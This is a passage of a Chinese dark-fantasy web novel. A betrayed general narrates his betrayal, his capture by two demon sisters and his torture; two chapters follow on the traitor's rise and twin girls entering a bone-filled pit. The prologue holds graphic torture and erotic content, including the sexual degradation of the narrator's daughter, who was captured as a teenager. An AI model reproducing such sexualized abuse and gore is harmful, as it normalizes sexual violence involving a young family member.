热门搜索






[玄幻]圣魔邪灵-1

  


第一集


序曲
这世间往往依循著恒久不变的天理定律,无人能够跳脱倖免。
魔与王,就是这样一个好例子。
一旦你杀了魔王,却无法成为国王者,那下场将会落得比魔更加悲惨!
有时候铁则决不容许破坏,除非,你想变得跟我一样。
我叫伊斯特。赛达,曾经满心怨恨的度过了五百年岁月,一心求死却怎麼也死不了。
故事,就是从这麼一段过去开始。
不知道该怎麼称呼像这样混沌的年代,我只知道从一开始世界就到处充满著死亡瘟疫,魔鬼,就像是这些瘟疫造成的结晶体。
帕什格尔特城外到处都是漆黑一片的荒乱景象,那里原本就有著最肥沃的稻穀农田,但瘟疫让这一切变成了绝境尸地,到处充满了恶臭与尸水,就好像一大片的恶魔抚育场……
没有人知道这些恶魔究竟是由何时开始繁衍出来的,在最后一次圣格尔斯内战之中,两军在帕什格尔特城外一共死了四十四万人以上,那是最惨烈的一次,帕什格尔特城内外亦几乎被屠城殆尽,根本没有一个国家可以处理掉这麼大量的尸体,血水渗入了曾被诅咒过的土壤内,恶种由此种下!
一千年以前,漆黑君主死灵王:伊纳德以继承「天妖神」厥纳暗之名建立魔军,驱使著他的魔兵鬼卒像瘟疫一样不断扩散,数百年的不断征战拉锯下彻底的崩裂了整个世界。
高卢耳,人类主要的栖息之地,早年因战乱之故散裂成数十个大小邦城各自拥城独立,但可以维持的军队大者不过几万人的兵力,根本无法与死灵王抗衡。
人类的城池就这样一座接著一座沦陷。
我七岁那年,伊纳德的恶名已然存在世间五百年之久,而死灵王的大军,也早已主宰了世界上超过三分之二以上的土地。
父亲背著我从沦陷的荒族走了十个月才来到光明城,他说剑的命运引导我们父子来到这,他的手中握著一柄纯乌铁作成的紫光重剑唤作涅妖剑,一把祖传的宝物。
父亲将它看的比我还重要。
后来,我们来到了圣教的中心:拉维尔,被人们比喻为世间上最后的净土,因为圣教存在著一种力量,能够让邪恶的势力无法侵袭。
我跟著父亲受洗为圣教徒,教徒是绝对圣洁的,跟以往认知的宗教并不相同,受洗之后必须绝对地服从教廷指挥,并且不许使用咒语或魔法,后来我才知道,原来那就是灭魔成效最显著的圣明教会。
圣教在那个穷困荒芜的年代里,不仅集结了许多有志之士与佣兵集团,更是散落城邦之间十分重要的精神维系象徵。
父亲手上那柄大剑是一柄驱魔剑,世上三把圣剑之一,也因为剑的指引让我们来到这里,在一块跟自己没有丝毫瓜葛的土地上,为了理念而战斗著。
小时后我跟著父亲走遍了二十多座城池,我的心早就没有什麼祖国观念,对我而言,国家的定义只不过是强与弱的区别。
父亲十分勇猛,但命运却作弄人,他最后死在一种奇怪的疾病而无法如愿战死沙场。
十三岁那年,父亲虚弱地握紧我的手,将那柄已经提不起的重剑亲自交在我手中,告诉我要用自己温热的鲜血取得圣剑认可,我将血液滴在剑柄上,而柄上的黑色血渍却又回流到我体内,从此,这把剑就是我一个人的了。
奇妙的传承法则,令任何人也无法轻易的触碰这柄紫剑,除了我的血,还有我的血缘。
十八岁那年,我已经可以独当一面领导小队士兵攻下整片鬼域,在我宰杀第一位巫妖首领之时,他凄厉的叫声令我一辈子也忘不了,他说,他见证到了!恶灵们的诅咒正在我的体内迅速蔓延。
我那时年轻气盛,根本不管他在瞎叫什麼,砍下他的头就能报上大功,对我而言,他存在的唯一目的就是让我顺利晋升中队长。
二十九岁时,我已经是人类城邦中屠魔最出名的大将军,在涅妖剑的威名之下,已无任何人足以和我匹敌,手下掌控联盟共计四十余万大军的兵马,我,傲视天下如无物。
在与死灵王做殊死战那一日,我永远都记得很清楚,他似乎早已明白我将会结束他的性命,活了五百多岁的大魔王像似预知了自己生命的终点一样,但他除了盛气凛然之外,却只是满口疯狂的胡言乱语,根本不像认知里的霸主模样。
他甚至嘲讽的形容我跟他的命运一模一样,注定要成为只知屠杀生灵的无主魔头,而且,在我体内的血咒力量已经完全渗透,就是想解也解不开了。
他用凄厉的嘲笑声这样诅咒我,血咒下的奴隶必定会沦为一名比他死状更悽惨……更加出色的不死魔王!
嘿嘿……或许真有这样一天也不赖,我向来只相信自己实力,根本不信什麼诅咒与宿命之说,所以,我毫无愧疚与牵绊的将他躯壳一分为二,用涅妖剑的光芒洗练他的魔体,砍下首级,并将头颅禁固在光明城的大殿上永远供人观赏。
在那一刻,我成了人类中最出名的不败将军,历史更应该为我的英勇事迹写下一切,但,那似乎只是所有不幸的起点而已。
得到全面胜利的涣散联盟正急需一名新的国王来统合分崩离析的人类世界,那个人除了我之外,还会有谁够这样的资格呢?
只是,没想到等待受封的日子竟是将所有一切完全变质,不敢置信,圣教会的匹夫们所担保的承诺竟会如此不堪一击,而且我怎麼也廖想不到,身边最信赖的好兄弟儸竟然会选在这个时刻联合所有人来背叛我!
迪卡尔,被我视如己出一样的拜把兄弟,多次战役里他始终尽职的扮演好我军支援补给与谈判协商的吃重角色,扯嫂的人缘与口才每每能打动教廷继续提┅必要协助儸因此我将副手的地位託付给这个连剑都不懂得如何使用的男人担当。
我太信任他了,尽管有人曾秘密通报教皇有意指定他来暂替联盟主帅地位,但我依然不肯相信他会捨弃多年情份选择叛变。
漫长的军旅生涯中,其实我早已过惯了被人灌上杀人狂、魔鬼、刽子手等莫须有罪状,但我并不在乎这些,只要圣教愿意兑现他们所说过的诺言,我就算当条忠诚的狗替他们执行血腥杀戮也无所谓。
可惜我这个异族身份的外人直到圣城收復后才惊觉自己不再被他们所需要,甚至该说是完全容忍不了,尽管当初联盟高层对我讚誉有加,甚至大胆替我的行径背书,但现在一个接一个的叛离而去。
这样的结果,让我深深怀疑起那股深藏在自己肌肤底下,受尽诅咒力量牵引的不解命运是否真在影响著我。
也许,我体内的血液本来就不属於这块大陆,就算是替所有人除去了数百年来的心腹大患,但圣教的长老们与其领导下的联盟体制却早已把我伊斯特给彻底排拒在外!
我当然不可能就这样束手就擒任人宰割,在他们还没有完全阻断掉我的生路以前,就只能仓皇的带著妻儿子女连夜逃离王城,一路上我的心里其实明白携家带眷是不可能逃得了多远路程。
我狠下心的将儿子绑在马腹底下随著荒原野马向东急奔,东方是我们祖国方向,也是我临死前最想回去的归所,但现在的我并不能这麼做,追兵更不可能放过我们一家大小。
儿子,是我寄望未来的最后希望。
随著追兵越来越逼近,我已深深地了解到迪卡尔根本不存有丝毫的念旧之情,他要的只是彻底斩草除根,根本不肯替我留下任何活路。
一路上不断地斩杀追兵让我身上加持的护体灵气消失殆尽变回凡人,耗光的气力也正像宣告著亡命天涯的日子会在不久之后立即结束。
我被迫带著妻女转往尚未被收復的绿鬼森林逃去,因为此处不会出现人族追兵,况且只要越过人烟罕至的沼泽林地后便可到达瀅蓝海岸,那里有我异族战友可兰斯族人的栖息领地,我已无路可走,投奔到可兰斯的国度是目前唯一出路。
漫长的追兵慢慢由骑兵队变成那些对我恨之入骨的不死生物,我知道自己逃不了多远地方,只好让妻子带著十多岁的梦娜双双走避,并给了她一柄短剑,一柄用来结束生命的最终之剑。
我奋战到了最后一刻,就连双手也被兇猛的独眼巨兽给彻底咬断,再也不能握稳手中绝世圣剑,极度虚弱的我被人夹刑倒掉在树的上头,内心虽然满腔怒火,但等待解脱来临前的那一刻,心却异常平静。
不久之后我被带到了两名姊妹身旁,那是一对妖媚淫荡的绝美艳妇,我知道她们曾是死灵王身边的贴身姬妾,邪姬「翡兰珞缇」与妖后「塞娜蒂」。
我真后悔当初没有狠下心肠杀死这对精魔族的首脑人物,放任过她们逃到这里,「妖后」塞娜蒂本身虽不具有强大攻击性等毁灭魔法,但凭藉著天生魅惑的奇特淫性却能身居精魔族的首领地位。
尽管我这一生杀尽天下群妖收回四大魔族的天妖遗骸,但如今的这对姊妹却是我一辈子之中最不愿遇见的死对头。
在这片不见天日的鬼树林地底下,竟是一处孕育造化精魔族的绝佳地方,在这里我看见了壮盛的精魔矮人潜藏在地层的深渊底下,并且等待著对所有生物进行可怕的毁灭报復。
可笑的是,我的存在正好提供给这些恨透我的恶魔们,最佳的娱乐与报復对象。
邪姬「翡兰珞缇」是妖后的亲妹妹,浑身充满著斥鼻媚气令人恶心作呕,在作弄完我残破受伤的身体后竟深深的在我脖子上吸乾每一滴鲜血,她要让我变成像她那些不死的宠物一样!
接著,我的妻女们很快就也被恶魔找到了,最后之剑果然深深埋藏在妻子的胸口上,这个女人用最坚决的态度表达出对我的忠贞与身为人类的最后尊严。
因为这柄短剑曾受过圣教灵气的洗涤作用,如果用它自尽的话便不会沦落像那些鬼卒一般,死了都还要沦为恶魔操纵下的不死奴隶。
只是这个柔弱的母亲直到最后仍狠不下心送自己女儿最后一程,我的乖女儿现在竟是双眼呆滞变成两魔女媚惑下的可悲奴隶。
被俘虏的日子里两淫妇口中不断谈论著一样的话题,除了研究圣剑以外便是如何折磨我来令她们痛快,最后,她们终於想出了一样更邪恶的玩法。
她们让我的女儿用鲜血继承为圣剑的主人,我不知道这两淫妇是如何知晓此种嫡血不传的秘法,离开我的手之后,神剑就只有依靠我的嫡传血缘才可以让它再度开封,现在,神剑将是我女儿一个人的了。
双眼失神的梦娜完全听不到我沙哑凄厉的叫唤声,除了那两名妖女之外她根本听不见任何声音,她们命令著梦娜用双手扛起紫光重剑,一刀一刀仔细切在我魔化后的身体上。
果真最惨烈的死法,便是遇上了这对残无人道的精魔姊妹!
接著,我身上的肉是一片接一片的被亲生女儿割了下来,被圣剑蚀化!犹如被我杀死的死灵王一样,那种痛就像无止无休的煎熬,无穷无尽地蔓延下去。
妖魔本是只要一滴精血尚存,吸足魔力就能再度復活,但被神剑的紫光洗静过的部位就再也生长不出来了,这两个淫邪的姊妹,就是想看著她们的俘虏一点一滴痛苦的变成丑陋玩物。
折磨不仅只於此,为了怕我的灵魂随著消逝中的血肉一块消失,她们残忍得从魔夜中孵化出的天妖遗骸融合在我的鲜血里面,这条遗骸中的「茎」最后跟我血液合而为一,就在群魔大声讥笑讽刺中变成了一条只有意识、记忆却无法动弹的不死淫物。
肉身的其他部份完完全全地被神剑光芒所净化,真是可笑,以往我手上独一无二的神兵,现在却成了残害自己的最佳利器,这真是人世间最大的讽刺!
剩下来的部分,只是拥有我的记忆我的一切,还有精魔族体内无穷无尽的淫念欲望!
失去所有器官之后,唯一而单纯的知觉,就是不断吸血与递送肉棒所带来的无穷快感。
由那天开始,我存在的唯一目的就只是提供这群淫魔耻笑娱乐而活!
残暴的妖后一直都没有让我女儿变成真正的魔鬼,也许,那只是留下她来当作嘲弄和讥笑我的玩偶而已。
我的女儿,以往调皮可爱的她却变得越来越瘦弱,在这无止无休的淫魔炼狱里,受尽各种折磨。
我一直在等待著死亡那一天的来临,无穷岁月里唯一的最后奢望,就是让我尽早解脱这一切。
整整等了二十年,终於让我等到了这一天的到来,内心的预感告诉我,儿子,他终於来了。
终於,霍森真的带领异乡勇士们杀到这里来,我的好儿子,是该在此处结束父亲受尽折磨的生命吧!
就在他的弯刀刺穿翡兰珞缇这个淫妇时,霍森根本就不知道被深埋在邪姬下体内的淫物,会是自己父亲仅余残留的最终生命体。
也许我的儿子依稀还认得出他那像骷髅一样瘦弱的可怜姐姐,尽管她只剩下风烛残危的衰败躯体,他仍然得将神智不清的梦娜给关在一处隐密地牢里,因为,那是他唯一能让姊姊继续活命的契机。
没过多久,可怜的女儿梦娜最终也病死在人族的地牢里,二十余年来早已吸尽所有淫妇妖女的大量魔血,连同自己女儿的处女之血也是一样,不断爆裂的无穷魔气其实已经在我仅剩下的肉具内快速变化著,一头没有主人的恶鬼,正在等待著胎化那天而蛰伏著。
我就像进入了冬眠状态一样,开始经历了一场很深、很沉的睡眠。
尽管我那异变的感官依稀可以感受到地牢外的四季变化,但幽暗潮湿的穴心里面时间却蔓延的像加快数千倍一般。
紧接著连地牢里也开始腐朽破败,不知历经了多少朝代,也不知从哪里堆积出来的大量尸块,让渗入土壤内的血水未曾休止的滋润著我满身魔躯!
邪恶的声音似乎没有放过我的在脑海之中肆虐咆啸,内心里未曾有过一丝真正的平静,我只是在等待,等待著大陆上的污血通通渗透到地心里面,完全侵蚀在每一块破败扬灰的地板上,让我尘封的异魔肉躯尽情将这一切吸收殆尽。


第一回
王朝乾燥龟裂的原野上已经无法培育出任何可以食用的穀物,上面所长满的尽是一些奇特的植物,这些异种的生物会吐出让人受不了的秽气,形成了这块大陆上最特异的景象。
因为这样的魔性植物,都是吸取人的血液跟尸体长大的。
大陆上有三分之一以上的土地变成了像这样的荒烟废土,好几个世代以来不断交战让土壤吸收了源源不绝的腐物秽气,也酿成了遍地不解的世纪毒癌。
自从迪卡尔的盛世王朝建立以来,妖魔数量几尽被忏灭而沉寂好一段时日,那段光辉过去,是这块大陆上难得能休养生息的太平盛世。
长期分裂的国家早已期待许久的族群融合正在蓄势待发,备受教会、联盟一致推崇的迪卡尔王,终於完成统一高卢耳民族的盛事局面。
就在此时,灭魔最高的指挥中心:圣明教,却也在那个时候逐步势微。
从另一个角度来说,那个年代以后就再也未曾出现过像那样无惧魔法又足以扫荡不死族的神圣军队。
迪卡尔王是个心机深沉的男人,生来就註定要当梟雄般的霸王之才,虽说柔弱的体质看似很需要人保护的模样,但却极富口才,并且十分懂得如何掌控人的心思与想法。
方德。迪卡尔生在一个十分富裕的家境里,从小父亲更是一心教导他走上奸雄之道,小小年纪的方德就已懂得如何利用人情来收买人心,完全遵照父亲意志学习著用人之道,并且必要时需狠下心肠不择手段。
他们家里养了许多食客,父亲充分教导他所谓人才的重要性,就算有形的财富能轻易的输光,但只要投资在对的人身上便有可能再度取回,甚至将自己推向另一个至高点。
他的父亲就是因为长年接济流亡在外的皇子才赢得爵士头衔,并且从一名市井小民跃升为皇亲贵族,也因此这句话的意义从小就牢牢地记在迪卡尔幼小的心灵里面。
可惜的是,心机深沉的父亲最后却也因为受到国王猜忌而死於非命。
父亲的死令他们家道很快的衰落了,在十四岁那年他被迫躲债从军,却也因此让他认识了一生中最重要的好兄弟,一位荒原族的勇猛少年:伊斯特。赛达。
赛达是个话很少的异类,应该说,他从小就已习惯被同侪歧视与排挤,在绝大部分是高卢耳人的军队里面,他是个十分突兀、冷酷的孩子,黑竣的曈眼与赤红的发色,跟其他孩子的褐发蓝眼珠就是有著很大差别。
只是由圣教指挥的军队中,每天都有大量士兵战死在蛮荒鬼域里,因此,再多的异族士兵加入对他们而说也不会觉得多余.想要成为战士,就必须受洗成为圣教徒并接受神的允许与接纳,除了不准杀死同类的人族以外,这些为钱卖命的佣兵们被允许可以宰杀不死生灵,并受到阻绝魔法的圣光保护。
这些教徒接受圣光术的唯一代价便是终生不能吟唱或施展法术,在每一次争战之前,都必须接受圣光护体的洗礼才能出战。
受到灵光笼罩的教徒战士们,犹如是一支对魔法免疫的单一军队,比起吸入腐尸邪气就变成恶鬼的拼奏杂兵,在对抗由魔力所构成的邪物上显得更加有效。
尽管如此,死灵王的不死军队仍是十分强大,多年来的死体腐尸养壮了他的魔兵鬼卒,并且经常以百倍的兵力强临压境攻打人类的城池,再以堆积的尸体培植新魔物,就这样,人与恶魔之间的战争数百年来便一直持续不断的僵持下去。
迪卡尔是个聪明机伶的孩子,经过几次征战经验,他便看穿身旁这名异族少年的果敢神勇与圣剑奇威,更看透了他最需要的是什麼,软弱的他亦在寻求一名强而有力的伙伴依靠,因此他将自己的未来赌在伊斯特身上。
迪卡尔主动亲近这名年纪相仿的少年郎,他知道伊斯特最缺少的就是朋友,这名只肯跟权贵公子交往的方德,竟反过来将赛达当成最知心的好朋友看待。
他丝毫不把对方看成异族人而歧视著,有时甚至把伊斯特的事情看成比自己还重要,必要时也能充当冲突时的调停者,就这样,他很快的赢得这名少年的信任。
在伊斯特的身躯踩过恶鬼的尸首时,迪卡尔这个身为副手的傢伙有太半时间是吓傻地倒在一旁,尽管他每一次总要强行跟随在伊斯特身后,但软弱的迪卡尔几乎一次也没办法独自杀死一头恶鬼。
每当有奖赏时,伊斯特总是不会吝嗇与迪卡尔共同分享,因为他真心的将迪卡尔当成最亲近的兄弟看待,也似乎唯有这样,才能让他忘记自己一直以来都是孤独的一个人。
拉维尔城是大陆上的第二座大城,在最古老的帕什格尔特城沦为鬼域后,它就成了所有抗魔组织的重要基地,多年下来,所有攻防的兵力几乎都统一由拉维尔驻地的圣明教总教廷来指挥派遣。
人心总是善变的,当伊斯特接过教皇赋予的拉维尔圣战旗成为联军统帅之时,无疑的他已成了大陆上最赋号召指标的带领者,多年来一直压抑自己雄心壮志的迪卡尔,此时已经不能再忍受自己永远被当成他人的影子了。
他知道该是下手毁掉伊斯特的时刻了,他原本就长年暗地收买著说客,四处散发恶毒流言将伊斯特塑造成一名滥杀无辜的杀人狂形象,一面又散播说异族人另有居心来詆毁他,甚至还捏造出他就是披著人形的魔王,很快的凝聚著排山倒海的舆论力量让他成为了众矢之的。
另一方面伊斯特也完全落入了教廷跟迪卡尔之间所设好的圈套内,迪卡尔告诉他,只要砍下死灵王的头颅后天下人就会信服他,什麼流言也会不攻自破,兄弟百般唇舌终於说服了伊斯特,并且将所有精力都投注在如何攻破魔王谨守的最后一道防线上。
而此时的迪卡尔则趁机买通他身边的重要亲信,甚至还与教廷高层私下协议,在一一打点好以后就等著伊斯特自己跳进安排好的陷阱内。
伊斯特的军队长年在外征战根本处理不了这麼多的流言蜚语,但他信任迪卡尔,就跟以前一样,他的好兄弟会拼命为他调停辩护还给他一个公理与真相。
很快的三年远征的伊斯特终於凯旋归来,只是他所看到的却是全国上下一致等著处决杀人魔王的不利讯息甚嚣尘上。
伊斯特的统帅兵权立刻就被教会高层给重新夺回,并且受到严重的内外监视,他甚至眼睁睁的看著自己亲信当他面前大声呼喊:处决杀人王!赶走异教徒!
回復高卢耳人荣耀!
听著整块大陆遍地传唱的相同口号时,他的心,早已彻底绝望。
长年在外征战的伊斯特终於体会到高卢耳人对他的真正观感,异族的勇者始终都是人们畏惧的邪恶阴影与决口不提的疯狂屠夫,甚至,更是连死灵王都感到畏惧的人间兇兽。
就这样一夜之间伊斯特莫名的失去下落,所有大街小巷都贴出了通缉告示,但没有人知道最后的他究竟逃到哪里去,只是无声无息地从这个世界人间蒸发。
而另一场更惊心动魄的血腥屠杀与权利斗争才在教廷中正式上演,迪卡尔用了十年的时间才顺利剷除圣教廷这个心腹大患,而且暗地里将反对自己的教徒们全数迫害并滥用私刑,他另外建立了一个以咒术、魔法为主体的新教会:法教会,用此傀儡教会来转移世人对於镇压旧教的注意力。
就这样数十年的风风雨雨过去了,王的名字迪卡尔,终於成为了所有高卢耳百姓心中争相歌诵流传的代名词,开创了这大陆上短暂和平的集权国家:迪卡尔帝国。


第二回
滥觴「洁莉,洁莉,这遍土壤上有处很奇特的黑色记号,快点过来看看……」
一对年轻的妙龄少女骑著毛色均匀的高大骏马,
奔驰在荒原草领之中正要经过一处炙热焦坏的荒烟土丘。
「这是什麼印记?难不成东之城的领土内还有恶魔足跡存在?」
表情样貌看似较为活泼好动的白衣少女,不断直指著地上焦黑的图腾怀疑说道。
「这里是东之城的国境内,又是通往布尔格城的必经之路,应该不可能会有什不乾净的东西才对。」
另一名红衣少女有些担忧的推论著,两人都只有十七岁的芳龄,举止装扮又显得十分贵气豪华,似乎并不应该是那种单独在荒郊野外出没的武者或侠女。
这两人的年纪相貌几近相仿,似乎还是一对双胞姊妹,其中一名腰间配有一件奇特的长笛法器,另一位背上则掛著一副镰刀型的银白兵器,奔跑时会随风嘤嘤作响,清脆响音如同风铃般十分好听,突然间,她们停在一处废墟堆的黑印上,好奇的仔细端详著。
这对姊妹正要赶往东之城参加一场盛大隆重的世纪婚礼,因为她们可是具有皇族血统的重要贵宾,更是女方迪卡尔公主所盛邀而来的亲表妹。
原先东之城已派遣过大匹车队前来迎接这两名尊贵的皇族闺女,但在圣明王门下苦修术法的俩姊妹其实早就很想真正出去闯荡一番见见世面,因此趁著迎接车队露宿休息的时间,便独自先行的离开众人率性而去。
个性沉稳的姊姊洁莉原本并不同意这样任性的作法,但实在拗不过顽皮好动的妹妹苦苦哀求,只好勉强跟在身边,以免这个古灵精怪的调皮鬼真惹上什麼麻烦事。
由於她们自小便是养尊处优的教养关系,气质外貌自然同样显得十分出众与落落大方,除了妹妹脸上仍透露出有些稚气未脱的调皮模样,色艺双全的一对姊妹早已是众家王孙公子暗中留意的迎娶对象。
「快……快走,这里并不乾净……我们不能继续呆下去。」
洁莉皱著眉头这般说道。
诡谲的黑色图腾深深地烙印在不寻常的腐地上,尽管如今是烈阳高照的大白天,但生来具有敏锐预知能力的姐姐洁莉,依稀还是可以感受到一种十分不祥的预感即将发生。
「别这麼神经兮兮嘛,洁莉,我们不正是要来体验那种冒险犯难的刺激游戏吗?如果不到危险地方又怎麼会好玩的呢?」
天不怕地不怕的捣蛋鬼,似乎还嫌姊姊罗唆的抗议著。
「丽芙!」
「唉呦,师尊不是说过吗?这一带……应该就是那魔王儿子的旧属领地,猜看看,这片土地下说不得还暗藏许多秘密巢穴与神秘宝藏呢……」
小妹丽芙看见印记下方有一处残破砖瓦的地下坑洞,不由得便开始幻想著当初壕沟地下的激战景况。
她们俩从拜师以来还是第一天离开师父身边,独自阔别了像这样既熟悉又陌生的环境里,骑著一对名贵的血汗宝马要往东方最繁华的东之城参礼。
「嘘!不准提起「那个人」名字,你忘了吗?师父要我们永远都不能提起那个大魔头。」
这块大陆上有著不能言传的禁忌,那是关於一名消失无踪的杀人魔王轶事。
大人们甚至还杜撰出一些令人耳熟能详的鬼故事来哄骗调皮的小孩,例如孩子不乖的话,红发恶鬼就会出现将他抓走等等。
「哦!人家才不是小孩子呢,洁莉,难道你对这些弯弯曲曲的坑洞都不会感到好奇吗?」
丽芙下马半蹲的歪著小脑袋,不理会姐姐严肃的目光,似乎已经习惯跟理性的姐姐唱反调,调皮如她,总是令洁莉没辙。
这两个相貌相同的美少女,内在的个性却是如此地南辕北辙。
「别再惹麻烦,我们在外逗留的时间已经够久了,若今天晚上再不赶回去会合,到时铁定会错过碧莉丝姊姊的婚礼大事。」
洁莉故意拿出腰际间的七孔长笛抵住跃跃欲试的顽皮小妹,特制的长形法器是一根可以连续施放火焰魔球的神奇宝贝。
在丽芙背上的银白武器则是两柄没有握把的薄长镰刀,只有一块横刃,长相如倒T型的握在手心,弯刀柄介在食指跟中指之间,露出的凶器宛如螳螂手臂,而且两件宝物都有风孔,能迎风透出铃当般的清脆声响,这也是两人共同施放合体技时十分重要的不传秘密。
这两件法宝可是他们师父圣明王的得意作品,他让所有弟子各自学成一样特殊兵器与不世绝学,并且绝不重复,高傲如斯,就是要让世人都能明白佩服圣明王不仅武艺精纯,刀剑、术法更是无一不通,门下弟子绝对是各中佼楚。
而红白分明的双胞少女,似乎从衣著打扮就能显见各自怀有的火、风属性。
「真是的,洁莉,你一定都得这麼死板吗?就不能好好感受一下,想想当年的迪卡尔王子那该是何等的英姿焕发?嘻嘻,那一定不知道有多帅气,只要三两下的功夫就将那邪恶的恶魔之子斩首示众……」
少女的眼光中透露出爱慕倾羡的陶醉表情。
「好了,别再耽搁了,你嫌自己惹得麻烦还不够多吗?」
「嗯嗯,如果我要是生在那个年代里,肯定也会是个小有名气的女将军吧。」
丽芙根本不理会姊姊的抱怨,一面还夸张的比划著。
她嘴里兴高采烈说到的正是五百年前杀人王独子霍森。赛达的过往轶事,只不过在这整个大陆上赛达是个十分邪恶的禁忌姓氏,而且不准被任何人提起。
当然,高卢耳人后代子孙耳熟能详的过去都是经过王朝筛选窜改下的虚伪谎言,当然更不可能明白当年浩浩荡荡远征讨阀霍森的迪卡尔王子,最后是如何对著敌人跪地求饶才免於一死。
这里是大陆的最东方,与鬼魅出没的南方魔域相隔甚远,不过,这块地却曾是高卢耳人口中的恶魔之子:霍森建都崛起的发源地。
「好了,不用再说下去了,再不快点天都要黑了,丽芙……你在干什麼?」
洁莉皱著眉,只希望快步离开这片让人不舒服的土地上,突然,她看到自己妹妹似乎发现到什麼似的。
「洁莉!你看,这里还有块塌陷下去的废坑洞,你看、你看!好大一个洞啊!」
丽芙大声的叫嚷著,像似找到宝物一样兴奋。
她生来就跟沉稳的姊姊不一样,尽管一身武艺尚称精湛,那双掌的弯刀「明月轮」也疾如闪电……但,至今却仍是个调皮捣蛋鬼。
「傻妹妹,地塌不塌陷、隆不隆冬关你什麼事儿,这里本来就是一处废墟,再不快点走就留你一个人在这里好了。」
洁莉此时已感到有些不耐,手上炎笛兵器不停发出不寻常的嘤嘤声响,似乎像似警告一般令她心烦,盘据心头的悬念始终有种不祥预感存在。
「小气洁莉!怕什麼?人家只是想告诉你,这坑洞里说不定能找出一些神兵利器也准不得,那些有趣的故事不都是这样说道的吗?如果被我找著了我可不分你呢,哼!」
「小傻瓜!」
「你自己看,这下面一大片的晶亮凹地,搞不好就是一处暗藏法宝的兵器室。」
丽芙天真个性不服气的越说越起劲,看著黑不见底的窟窿地洞,隐隐约约还真看见晶亮反射的发光体,就像是成堆的铁器撒在密室里一样。
虽然她也感觉到有一丝不舒服的秽气存在,但自小被圣明王左斯一手带大,见过的排场、局面自然也就多了,就算真有什麼鬼怪邪物,也绝对难以侵犯得了她们姊妹一根寒毛。
左斯,法教会教皇的亲弟弟,当年因为兄弟俩引发教皇之争愤而离开法教会,并自创了新圣明教派,甚至自封为圣明王,但他仍远避是非洁身修名,也算是个孤傲至绝的狠角色,门下调教弟子十一人,但每个能掛出名号的绝对都是大陆上名威一时的英雄豪杰。
丽芙与洁莉是左斯在闭关前所收的最后两名女弟子,没有人知道固中原由,心高气傲的圣明王竟然肯收下这对皇亲贵族的天之娇女,并且一带就是七年的光景过去。
「小笨蛋……你可要小心……啊!」
洁莉正要警告妹妹太过靠近洞口时,没想到话没说完,丽芙的脚下土块竟立刻的滑了下去,洁莉一看不得了,连忙对著洞口叫唤几声。
「哎啊!」
「丽芙,丽芙!你没事吧,丽芙!」
在确定妹妹没事之后,洁莉跟著将马匹给系好,用配腰的紫炎笛唤起光芒当成火炬,因找不到可做绳索之用的物体,便只好先下去看看情况再说。
「啊!痛死人了……该死的臭地板,真该死!」
虽然丽芙狼狈的摔了一大跤,但还好地层并不高,在稍微碰撞地面一瞬便立刻弹了开来,滚两圈把摔力完全洩开,掛在身后的弯刀砰然由背上翻到手心里,以双臂螳螂姿态来保护自己,身手算是比男人更为矫健。
只不过这一摔其实一点都不疼,地板下好像脆饼一般散乱,不知是何物堆高了起来,七零八落的散在一地。
没多久,丽芙收起弯刀,拍了拍身上尘灰,等待姊姊引出烛光下来接她。
一个敏捷身手,洁莉也从容不迫的来到地底下。
「嘻嘻……嘻嘻嘻……」
耳边突然闪过莫名女子的嘤嘤笑声,洁莉浑身不舒服的直起疙瘩,强忍住畏惧的心思将手中火烛朝往声音方向。
「谁!是谁?」
从没听见过的不自然笑声,如同灵魂尖啸的余音声波直接贯穿洁莉的脑海里,尽管十分肯定自己绝对没有听错,但四周斑驳腐朽的小坑道内,根本就不可能再容纳得下其他人身影。
「到底是什麼人?快出来!」
「嘻嘻……嘻……嘻嘻嘻嘻……」
诡谲的笑声彷佛像透明空气一样的逐渐远离,阴暗的四周,真正地恐惧才正要袭向视线逐渐清晰的两名少女。
「洁莉?你在干什麼?你到底听见了什麼声音?」
丽芙似乎没有感受到跟姊姊一样的鬼魅音域,不明白洁莉到底在慌张什麼,只觉得自己不由得也开始跟著紧张起来。
「啊!这里好臭喔……洁莉……」
丽芙捏住自己的鼻子,刚刚由上头看见的一团烟雾,直到掉下来以后才猛然闻到一股很浓、很腥的腐臭瘴气,随著洁莉用手上的火烛烧开瘴气后,她们才缓缓的能看清四周环境。
「我来帮你。」
丽芙这会才想起自己可是风系术法的女武者,连忙催动焚风之术助姊姊散去戾气。
「这……这里是……好像……啊!洁莉!」
丽芙高声的尖叫出来,死命的抱著姊姊,因为,她终於看见自己踩在一大片骷髅堆的正上方。
「啊!啊!好讨厌的地方!洁莉……」
丽芙立刻跳到没有枯骨的地方闪避,她跟沉著冷静的姐姐不同,这个小妹尽管降妖伏魔眼睛都可以不眨一下,但看见满地死尸堆得比人还高时,却还是忍不住地流露出如常人一样的惧意。
「笨蛋!修行时连成群的骷髅兵都不害怕,怎麼看到不会动的枯骨却吓成这样!」
洁莉忍俊不住的想说说这个胆小畏惧的傻妹妹。
「不一样……就是不一样眉,这里阴森的要命,洁莉……我们快走吧。」
丽芙将头塞在姐姐的背后,只敢斜著眼看,她一秒钟都不想多呆在这遍地的白骨堆中,脚上微微颤抖著,身为「风系武者」的她竟压根忘了自己能轻易的飞身跳出洞外。
「小心点,这里随时充满著莫名的危机。」
洁莉收起了笑容,想起刚才莫名诡谲的恐怖笑声,理一理慌乱的情绪继续往前搜索著。
「这里看起来像似个理埋死尸的地方,但又像似一座地牢。」
洁莉忍住自己内心的恐惧与慌张,毕竟她还必须保护妹妹,很快的端详到出口位置并设法先探寻一下周遭情况。
由方才上面所看到的这些光影原来不是刀械,而是一条条银白朽蚀的大型铁链。
「唔……洁莉我们快点离开吧,这里气氛让人极度不舒服……」
丽芙摩擦双肩上的鸡皮疙瘩,似乎连半秒钟也不想多呆,密室里的空气不仅污浊,而且还到处充满著死味气息。
「疑……这里确实曾是一座铁牢,门扣虽然都锈蚀掉了,但出口缝隙却被石堆给堵住逃不出去,看来那边也没有其他出路。」
理性的姊姊一路推敲,反而就将内心的恐惧感给压抑下去。
这处狭长的地牢里只有地上铐著一具不会腐烂的乾尸,其他尸体早成白骨,而且就像是由上方直接被丢进坑里面的,更似个处理尸体的掩埋坑。
说得贴切一点,这里像极了从上面把尸体直接丢下来喂养某种怪物的封闭洞穴!
「这麼多的尸体……难不成这里曾养过什麼吃人怪物不成?」
洁莉心里一度这样揣测,一会又开始暗自担忧起来,只是手中的七孔炎笛突然在密室里激发出强烈的爆炸声响,瞬间失明的两姊妹更在同一时间的大声尖叫起来。
「啊!」
「洁莉!」
